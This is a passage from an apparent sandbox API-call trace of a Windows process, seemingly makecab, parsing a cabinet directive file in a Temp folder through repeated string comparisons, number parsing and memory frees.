_Str2="InfFileHeader1") returned 9 [0151.839] _strcmpi (_Str1="SourceDir", _Str2="InfFileHeader1") returned 10 [0151.839] _strcmpi (_Str1="UniqueFiles", _Str2="InfFileHeader1") returned 12 [0151.839] _strcmpi (_Str1="DiskDirectory1", _Str2="InfFileHeader1") returned -5 [0151.839] _strcmpi (_Str1="CabinetName1", _Str2="InfFileHeader1") returned -6 [0151.839] _vsnprintf (in: _DstBuf=0xdef50, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdeea8 | out: _DstBuf="InfFileHeader1") returned 14 [0151.839] _vsnprintf (in: _DstBuf=0xdf060, _MaxCount=0x1ff, _Format="%ld", _ArgList=0xdefb8 | out: _DstBuf="80722") returned 5 [0151.839] strspn (_Str="80722", _Control=" ") returned 0x0 [0151.839] strpbrk (_Str="80722", _Control=" ") returned 0x0 [0151.839] _vsnprintf (in: _DstBuf=0xdf068, _MaxCount=0x1f7, _Format="%ld", _ArgList=0xdefb8 | out: _DstBuf="1") returned 1 [0151.840] strspn (_Str="1", _Control=" ") returned 0x0 [0151.840] strpbrk (_Str="1", _Control=" ") returned 0x0 [0151.840] printf (_Format="%s%s\n") returned 76 [0151.865] printf (_Format="%s%s\r") returned 21 [0151.872] free (_Block=0x2b6bc0) [0151.872] free (_Block=0x2b6be0) [0151.872] free (_Block=0x2b6b80) [0151.872] free (_Block=0x2b6c40) [0151.872] free (_Block=0x2b6c70) [0151.872] free (_Block=0x2b6c00) [0151.872] free (_Block=0x2b6cd0) [0151.873] free (_Block=0x2b6cf0) [0151.873] free (_Block=0x2b6c90) [0151.873] free (_Block=0x2b6d50) [0151.873] free (_Block=0x2b6d70) [0151.873] free (_Block=0x2b6d10) [0151.873] free (_Block=0x2b6dd0) [0151.873] free (_Block=0x2b6df0) [0151.873] free (_Block=0x2b6d90) [0151.873] free (_Block=0x2b6e50) [0151.873] free (_Block=0x2b6e70) [0151.873] free (_Block=0x2b6e10) [0151.873] free (_Block=0x2b6ed0) [0151.873] free (_Block=0x2b6f00) [0151.873] free (_Block=0x2b6e90) [0151.873] free (_Block=0x2b6f60) [0151.873] free (_Block=0x2b6f80) [0151.873] free (_Block=0x2b6f20) [0151.873] free (_Block=0x2b6fa0) [0151.873] free (_Block=0x2b55d0) [0151.873] free (_Block=0x2b5590) [0151.873] free (_Block=0x2b5630) [0151.873] free (_Block=0x2b5650) [0151.873] free (_Block=0x2b55f0) [0151.873] free (_Block=0x2b56b0) [0151.873] free (_Block=0x2b56d0) [0151.873] free (_Block=0x2b5670) [0151.873] free (_Block=0x2b5730) [0151.873] free (_Block=0x2b5750) [0151.873] free (_Block=0x2b56f0) [0151.873] free (_Block=0x2b57b0) [0151.873] free (_Block=0x2b57d0) [0151.874] free (_Block=0x2b5770) [0151.874] free (_Block=0x2b5830) [0151.874] free (_Block=0x2b5850) [0151.874] free (_Block=0x2b57f0) [0151.874] free (_Block=0x2b58b0) [0151.874] free (_Block=0x2b58e0) [0151.874] free (_Block=0x2b5870) [0151.874] free (_Block=0x2b5940) [0151.874] free (_Block=0x2b5960) [0151.874] free (_Block=0x2b5900) [0151.874] free (_Block=0x2b59c0) [0151.874] free (_Block=0x2b7000) [0151.874] free (_Block=0x2b5980) [0151.874] free (_Block=0x2b59e0) [0151.874] free (_Block=0x2b5a00) [0151.874] free (_Block=0x2b7800) [0151.874] free (_Block=0x2b5a20) [0151.874] free (_Block=0x2b5a40) [0151.874] free (_Block=0x2b7840) [0151.874] free (_Block=0x2b8800) [0151.874] free (_Block=0x2b7010) [0151.874] free (_Block=0x2b7880) [0151.874] free (_Block=0x2b8820) [0151.874] free (_Block=0x2b8840) [0151.874] free (_Block=0x2b78c0) [0151.874] free (_Block=0x2b8860) [0151.874] free (_Block=0x2b8880) [0151.874] free (_Block=0x2b7900) [0151.874] free (_Block=0x2b88a0) [0151.874] free (_Block=0x2b88c0) [0151.874] free (_Block=0x2b7940) [0151.874] free (_Block=0x2b88e0) [0151.874] free (_Block=0x2b8900) [0151.874] free (_Block=0x2b7980) [0151.874] free (_Block=0x2b8920) [0151.874] free (_Block=0x2b5a70) [0151.874] free (_Block=0x2b79c0) [0151.874] free (_Block=0x2b8940) [0151.874] free (_Block=0x2b8960) [0151.874] free (_Block=0x2b7a00) [0151.874] free (_Block=0x2b8980) [0151.874] free (_Block=0x2b8fd0) [0151.875] free (_Block=0x2b7a40) [0151.875] free (_Block=0x2b89a0) [0151.875] free (_Block=0x2b9020) [0151.875] free (_Block=0x2b7a80) [0151.875] free (_Block=0x2b89c0) [0151.875] free (_Block=0x2b7b00) [0151.875] free (_Block=0x2b7ac0) [0151.875] free (_Block=0x2b89e0) [0151.875] free (_Block=0x2b9070) [0151.875] free (_Block=0x2b7b40) [0151.875] free (_Block=0x2b8a00) [0151.875] free (_Block=0x2b90c0) [0151.875] free (_Block=0x2b7b80) [0151.875] free (_Block=0x2b8a20) [0151.875] free (_Block=0x2b9110) [0151.875] free (_Block=0x2b7bc0) [0151.875] free (_Block=0x2b8a40) [0151.875] free (_Block=0x2b9160) [0151.875] free (_Block=0x2b7c00) [0151.875] free (_Block=0x2b8a60) [0151.875] free (_Block=0x2b7c80) [0151.875] free (_Block=0x2b7c40) [0151.875] free (_Block=0x2b8a80) [0151.875] free (_Block=0x2b91b0) [0151.875] free (_Block=0x2b7cc0) [0151.875] free (_Block=0x2b8aa0) [0151.875] free (_Block=0x2b9200) [0151.875] free (_Block=0x2b7d00) [0151.875] free (_Block=0x2b8ac0) [0151.875] free (_Block=0x2b9250) [0151.875] free (_Block=0x2b7d40) [0151.875] free (_Block=0x2b8ae0) [0151.875] free (_Block=0x2b92a0) [0151.875] free (_Block=0x2b7d80) [0151.875] free (_Block=0x2b8b00) [0151.875] free (_Block=0x2b7020) [0151.875] free (_Block=0x2b7dc0) [0151.875] free (_Block=0x2b8b20) [0151.875] free (_Block=0x2b7030) [0151.875] free (_Block=0x2b7e00) [0151.875] free (_Block=0x2b8b40) [0151.875] free (_Block=0x2b7040) [0151.875] free (_Block=0x2b7e40) [0151.875] free (_Block=0x2b8b60) [0151.875] free (_Block=0x2b7290) [0151.875] free (_Block=0x2b7e80) [0151.875] free (_Block=0x2b8b80) [0151.875] free (_Block=0x2b7060) [0151.876] free (_Block=0x2b7ec0) [0151.876] free (_Block=0x2b8ba0) [0151.876] free (_Block=0x2b7070) [0151.876] free (_Block=0x2b7f00) [0151.876] free (_Block=0x2b8bc0) [0151.876] free (_Block=0x2b7080) [0151.876] free (_Block=0x2b7f40) [0151.876] free (_Block=0x2b8be0) [0151.876] free (_Block=0x2b7090) [0151.876] free (_Block=0x2b7f80) [0151.876] free (_Block=0x2b8c00) [0151.876] free (_Block=0x2b8c20) [0151.876] free (_Block=0x2b7fc0) [0151.876] free (_Block=0x2b8c40) [0151.876] free (_Block=0x2b70a0) [0151.876] free (_Block=0x2b8000) [0151.876] free (_Block=0x2b8c60) [0151.876] free (_Block=0x2b70b0) [0151.876] free (_Block=0x2b8040) [0151.876] free (_Block=0x2b9760) [0151.876] free (_Block=0x2bd290) [0151.876] free (_Block=0x2ba2b0) [0151.876] free (_Block=0x2b9780) [0151.876] free (_Block=0x2b97a0) [0151.876] free (_Block=0x2ba2f0) [0151.876] free (_Block=0x2cdfa0) [0151.876] _open (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\db32.bin"), _OpenFlag=32768) returned 6 [0151.876] malloc (_Size=0x438) returned 0x2b6b80 [0151.876] malloc (_Size=0x1000) returned 0x2cdfa0 [0151.876] _read (in: _FileHandle=6, _DstBuf=0xdf310, _MaxCharCount=0x3 | out: _DstBuf=0xdf310*) returned 3 [0151.877] _lseek (_FileHandle=6, _Offset=0, _Origin=0) returned 0 [0151.877] _read (in: _FileHandle=6, _DstBuf=0x2cdfa0, _MaxCharCount=0x1000 | out: _DstBuf=0x2cdfa0*) returned 159 [0151.877] strpbrk (_Str=".set MaxDiskSize=0", _Control=" \x09") returned=" MaxDiskSize=0" [0151.877] strspn (_Str=" MaxDiskSize=0", _Control=" \x09") returned 0x1 [0151.877] strpbrk (_Str="MaxDiskSize=0", _Control=" \x09") returned 0x0 [0151.877] strspn (_Str=".set MaxDiskSize=0", _Control=" \x09") returned 0x0 [0151.877] strspn (_Str=".set MaxDiskSize=0", _Control=" \x09") returned 0x0 [0151.877] strpbrk (_Str="set MaxDiskSize=0", _Control=" \x09") returned=" MaxDiskSize=0" [0151.877] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0151.877] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0151.877] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0151.877] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0151.877] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0151.877] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0151.877] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0151.877] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0151.877] _strcmpi (_Str1="New", _Str2="set") returned -5 [0151.877] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0151.877] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0151.877] strspn (_Str=" MaxDiskSize=0", _Control=" \x09") returned 0x1 [0151.877] strpbrk (_Str="MaxDiskSize=0", _Control="= \x09") returned="=0" [0151.877] strspn (_Str="=0", _Control=" \x09") returned 0x0 [0151.877] strspn (_Str="0", _Control=" \x09") returned 0x0 [0151.877] strpbrk (_Str="0", _Control=" \x09") returned 0x0 [0151.877] strspn (_Str="", _Control=" \x09") returned 0x0 [0151.877] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0151.877] atol (_Str="362496") returned 362496 [0151.877] atol (_Str="0") returned 0 [0151.877] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0151.877] atol (_Str="730112") returned 730112 [0151.877] atol (_Str="0") returned 0 [0151.877] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0151.877] atol (_Str="1213952") returned 1213952 [0151.877] atol (_Str="0") returned 0 [0151.878] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0151.878] atol (_Str="1250304") returned 1250304 [0151.878] atol (_Str="0") returned 0 [0151.878] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0151.878] atol (_Str="1457664") returned 1457664 [0151.878] atol (_Str="0") returned 0 [0151.878] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0151.878] atol (_Str="1716224") returned 1716224 [0151.878] atol (_Str="0") returned 0 [0151.878] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0151.878] atol (_Str="1716224") returned 1716224 [0151.878] atol (_Str="0") returned 0 [0151.878] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0151.878] atol (_Str="681984000") returned 681984000 [0151.878] atol (_Str="0") returned 0 [0151.878] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize") returned -10 [0151.878] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize") returned -9 [0151.878] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize") returned -9 [0151.878] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize") returned -9 [0151.878] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize") returned -9 [0151.878] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize") returned -7 [0151.878] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize") returned -7 [0151.878] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize") returned -6 [0151.878] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize") returned -4 [0151.878] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize") returned -4 [0151.878] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize") returned -4 [0151.878] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize") returned -4 [0151.878] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize") returned -4 [0151.878] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize") returned -4 [0151.878] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize") returned -4 [0151.878] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize") returned -4 [0151.878] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize") returned -4 [0151.879] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize") returned -1 [0151.879] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize") returned -13 [0151.879] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize") returned 0 [0151.879] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0151.879] atol (_Str="362496") returned 362496 [0151.879] atol (_Str="0") returned 0 [0151.879] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0151.879] atol (_Str="730112") returned 730112 [0151.879] atol (_Str="0") returned 0 [0151.879] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0151.879] atol (_Str="1213952") returned 1213952 [0151.879] atol (_Str="0") returned 0 [0151.879] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0151.879] atol (_Str="1250304") returned 1250304 [0151.879] atol (_Str="0") returned 0 [0151.879] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0151.879] atol (_Str="1457664") returned 1457664 [0151.879] atol (_Str="0") returned 0 [0151.879] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0151.879] atol (_Str="1716224") returned 1716224 [0151.879] atol (_Str="0") returned 0 [0151.879] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0151.879] atol (_Str="1716224") returned 1716224 [0151.879] atol (_Str="0") returned 0 [0151.879] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0151.879] atol (_Str="681984000") returned 681984000 [0151.879] atol (_Str="0") returned 0 [0151.880] free (_Block=0x2b7220) [0151.880] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize") returned 0 [0151.880] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0151.880] atol (_Str="362496") returned 362496 [0151.880] atol (_Str="0") returned 0 [0151.880] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0151.880] atol (_Str="730112") returned 730112 [0151.880] atol (_Str="0") returned 0 [0151.880] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0151.880] atol (_Str="1213952") returned 1213952 [0151.880] atol (_Str="0") returned 0 [0151.880] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0151.880] atol (_Str="1250304") returned 1250304 [0151.880] atol (_Str="0") returned 0 [0151.880] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0151.880] atol (_Str="1457664") returned 1457664 [0151.880] atol (_Str="0") returned 0 [0151.880] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0151.880] atol (_Str="1716224") returned 1716224 [0151.880] atol (_Str="0") returned 0 [0151.880] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0151.880] atol (_Str="1716224") returned 1716224 [0151.880] atol (_Str="0") returned 0 [0151.880] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0151.880] atol (_Str="681984000") returned 681984000 [0151.880] atol (_Str="0") returned 0 [0151.880] strpbrk (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0151.880] strspn (_Str=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x1 [0151.880] strpbrk (_Str="DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.880] strspn (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.880] strspn (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.880] strpbrk (_Str="set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0151.880] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0151.880] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0151.880] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0151.880] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0151.880] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0151.881] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0151.881] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0151.881] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0151.881] _strcmpi (_Str1="New", _Str2="set") returned -5 [0151.881] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0151.881] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0151.881] strspn (_Str=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x1 [0151.881] strpbrk (_Str="DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control="= \x09") returned="=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0151.881] strspn (_Str="=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.881] strspn (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.881] strspn (_Str="", _Control=" \x09") returned 0x0 [0151.881] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="360K") returned 48 [0151.881] atol (_Str="362496") returned 362496 [0151.881] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.881] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="720K") returned 44 [0151.881] atol (_Str="730112") returned 730112 [0151.881] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.881] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.2M") returned 50 [0151.881] atol (_Str="1213952") returned 1213952 [0151.881] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.881] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.25M") returned 50 [0151.881] atol (_Str="1250304") returned 1250304 [0151.881] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.881] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.44M") returned 50 [0151.881] atol (_Str="1457664") returned 1457664 [0151.881] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.881] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.68M") returned 50 [0151.881] atol (_Str="1716224") returned 1716224 [0151.881] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.881] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="DMF168") returned -1 [0151.881] atol (_Str="1716224") returned 1716224 [0151.881] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.881] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="CDROM") returned -42 [0151.881] atol (_Str="681984000") returned 681984000 [0151.881] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.881] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectory1") returned -1 [0151.881] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectory1") returned -1 [0151.881] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectory1") returned -1 [0151.881] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectory1") returned -1 [0151.881] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectory1") returned -1 [0151.882] _strcmpi (_Str1="Compress", _Str2="DiskDirectory1") returned -1 [0151.882] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectory1") returned -1 [0151.882] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectory1") returned -1 [0151.882] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectory1") returned -1 [0151.882] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectory1") returned -1 [0151.882] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectory1") returned -4 [0151.882] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskDirectory1") returned 67 [0151.882] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DiskDirectory1") returned 8 [0151.882] _strcmpi (_Str1="DoNotCopyFiles", _Str2="DiskDirectory1") returned 6 [0151.882] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="DiskDirectory1") returned 2 [0151.882] _strcmpi (_Str1="FolderSizeThreshold", _Str2="DiskDirectory1") returned 2 [0151.882] _strcmpi (_Str1="GenerateInf", _Str2="DiskDirectory1") returned 3 [0151.882] _strcmpi (_Str1="InfCabinetHeader", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfCommentString", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfDateFormat", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfDiskHeader", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfDiskLineFormat", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfFileHeader", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfFileLineFormat", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfFileName", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfFooter", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfFooter1", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfFooter2", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfFooter3", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfFooter4", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfHeader", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfHeader1", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfHeader2", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfHeader3", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfHeader4", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfHeader5", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfHeader6", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="InfSectionOrder", _Str2="DiskDirectory1") returned 5 [0151.882] _strcmpi (_Str1="MaxCabinetSize", _Str2="DiskDirectory1") returned 9 [0151.882] _strcmpi (_Str1="MaxDiskFileCount", _Str2="DiskDirectory1") returned 9 [0151.882] _strcmpi (_Str1="MaxDiskSize", _Str2="DiskDirectory1") returned 9 [0151.882] _strcmpi (_Str1="MaxErrors", _Str2="DiskDirectory1") returned 9 [0151.882] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="DiskDirectory1") returned 14 [0151.882] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="DiskDirectory1") returned 14 [0151.882] _strcmpi (_Str1="ReservePerFolderSize", _Str2="DiskDirectory1") returned 14 [0151.883] _strcmpi (_Str1="RptFileName", _Str2="DiskDirectory1") returned 14 [0151.883] _strcmpi (_Str1="SourceDir", _Str2="DiskDirectory1") returned 15 [0151.883] _strcmpi (_Str1="UniqueFiles", _Str2="DiskDirectory1") returned 17 [0151.883] _vsnprintf (in: _DstBuf=0xde440, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde398 | out: _DstBuf="DiskDirectory1") returned 14 [0151.883] _vsnprintf (in: _DstBuf=0xde1d0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde128 | out: _DstBuf="DiskDirectory1") returned 14 [0151.883] free (_Block=0x2b7220) [0151.883] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize") returned -9 [0151.883] _strcmpi (_Str1="DiskDirectory1", _Str2="GenerateInf") returned -3 [0151.883] strpbrk (_Str=".set CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned=" CabinetName1=\"E3D6.bin\"" [0151.883] strspn (_Str=" CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x1 [0151.883] strpbrk (_Str="CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.883] strspn (_Str=".set CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.883] strspn (_Str=".set CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.883] strpbrk (_Str="set CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned=" CabinetName1=\"E3D6.bin\"" [0151.883] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0151.883] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0151.883] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0151.883] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0151.883] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0151.883] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0151.883] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0151.883] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0151.883] _strcmpi (_Str1="New", _Str2="set") returned -5 [0151.883] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0151.883] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0151.883] strspn (_Str=" CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x1 [0151.883] strpbrk (_Str="CabinetName1=\"E3D6.bin\"", _Control="= \x09") returned="=\"E3D6.bin\"" [0151.883] strspn (_Str="=\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.883] strspn (_Str="\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.883] strspn (_Str="", _Control=" \x09") returned 0x0 [0151.883] _strcmpi (_Str1="E3D6.bin", _Str2="360K") returned 50 [0151.884] atol (_Str="362496") returned 362496 [0151.884] atol (_Str="E3D6.bin") returned 0 [0151.884] _strcmpi (_Str1="E3D6.bin", _Str2="720K") returned 46 [0151.884] atol (_Str="730112") returned 730112 [0151.884] atol (_Str="E3D6.bin") returned 0 [0151.884] _strcmpi (_Str1="E3D6.bin", _Str2="1.2M") returned 52 [0151.884] atol (_Str="1213952") returned 1213952 [0151.884] atol (_Str="E3D6.bin") returned 0 [0151.884] _strcmpi (_Str1="E3D6.bin", _Str2="1.25M") returned 52 [0151.884] atol (_Str="1250304") returned 1250304 [0151.884] atol (_Str="E3D6.bin") returned 0 [0151.884] _strcmpi (_Str1="E3D6.bin", _Str2="1.44M") returned 52 [0151.884] atol (_Str="1457664") returned 1457664 [0151.884] atol (_Str="E3D6.bin") returned 0 [0151.884] _strcmpi 